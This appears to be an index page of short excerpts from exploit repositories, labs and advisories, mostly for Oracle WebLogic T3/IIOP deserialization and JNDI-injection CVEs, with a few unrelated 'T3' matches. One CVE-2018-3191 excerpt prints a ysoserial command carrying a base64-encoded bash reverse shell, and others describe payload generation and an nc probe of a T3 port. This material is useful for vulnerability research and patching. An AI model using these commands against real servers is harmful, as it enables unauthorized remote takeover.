CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 Description Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T...

CVE-2023-21839

CVE-2023-21839 Analysis This vulnerability is caused by triggering the getReferent method of the bound object when calling the lookup or list method after binding an object via the t3 or iiop protocol. Call stack for t3 protocol: getObjectInstance:96, WLNamingManager weblogic.jndi.internal...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet Test POC can be used for external network testing python CVE-2020-2551.py HOST IP Attempt to modify codebase for remote class loading failed python CVE-2020-TEST.py HOST IP Discussion on weblogic CVE-2020-2551 vulnerabili...

CVE-2019-2890

CVE-2019-2890 CVE-2019-2890 Exploit for WebLogic with T3...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 u otros GIOP + send jta rmi u otros GIO...

POC_CVE-2020-2555

POCCVE-2020-2555 PoC para CVE-2020-2555 3 partes: Cliente y Servidor: para construir el objeto y enviarlo al Servidor, desencadenar la cadena de gadgets. Úsalo para construir el objeto propietario. Ataque: enviar el objeto a través del protocolo T3 con pwntools...

iQOO-Z9_5G-vivo-T3_5G-Root-GhostLock

iQOO Z9 5G / vivo T3 5G Jailbreak Root GhostLock Installed KernelSU An iQOO Z9 5G and vivo T3 5G jailbreak/root Android application and payloads. Both devices use the MediaTek Dimensity 7200 MT6886 platform. There are two supported run methods: the Android APK with Shizuku, or the native helper r...

cve-2020-2555

CVE-2020-2555 Running Main.java will generate payload.ser in the current directory. This payload can be sent to the target server using the t3 protocol...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp CVE20202551 CVE20202555...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP RCE ExternalizableHelper.class of coherence.jar README project base on https://github.com/Y4er/CVE-2020-2555 and weblogiccmd test on 12.2.1.4.0 and jdk 1.8.0221 Reference 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...

CVE-2018-3191

Weblogic-CVE-2018-3191远程代码命令执行漏洞 weblogic For Docker 环境 0x00 简介 北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。 该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。 Oracle官方CPU链接：...

CVE-2024-21182

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI Injection → RCE lab A self-contained, one-command Docker lab to reproduce and validate the Oracle WebLogic Server OpaqueReference JNDI-injection vulnerability family CVE-2024-21182, a patch bypass of CVE-2023-21839 and turn it into...

CVE-2019-2890

CVE-2019-2890 Clone code from https://github.com/v-gift/CVE-2019-2890 CVE-2019-2890 Exploit for WebLogic with T3...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

T3-Technology-CPE-Advisories

T3 Technology CPE — Avisos de Seguridad Múltiples vulnerabilidades críticas descubiertas en dispositivos CPE ONU/Router T3 Technology desplegados por TrueOnline Tailandia. Vulnerabilidades ID CVE| Severidad| Resumen ---|---|--- CVE-2026-35904| 4.3 Media| Telnet sin autenticación habilitado vía CG...

CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE -orange 📋 Descripción CVE-2024-21182 es una vulnerabilidad de inyección JNDI no autenticada que afecta al componente Core de Oracle WebLogic Server. Permite a un atacante...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|nc...

WLT3Serial

WLT3Serial Native Java-based deserialization exploit for WebLogic T3 and T3S listeners as outlined HERE. Requires third-party dependencies ysoserial and wlthint3client. Advantages/Disadvantages compared to JavaUnserializeExploits weblogic.py and loubia Advantages: Handles T3/T3S communication...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...

CVE-2017-10271

LAB 2 - CVE-2017-10271: WebLogic XMLDecoder Deserialization Writeup I. System Analysis System Log Analysis Detected Service: Oracle WebLogic Server AdminServer belonging to basedomain running in Development Mode. Connection Port: 7001. Supported Protocols: http, t3, iiop, ldap, snmp. Attack Surfa...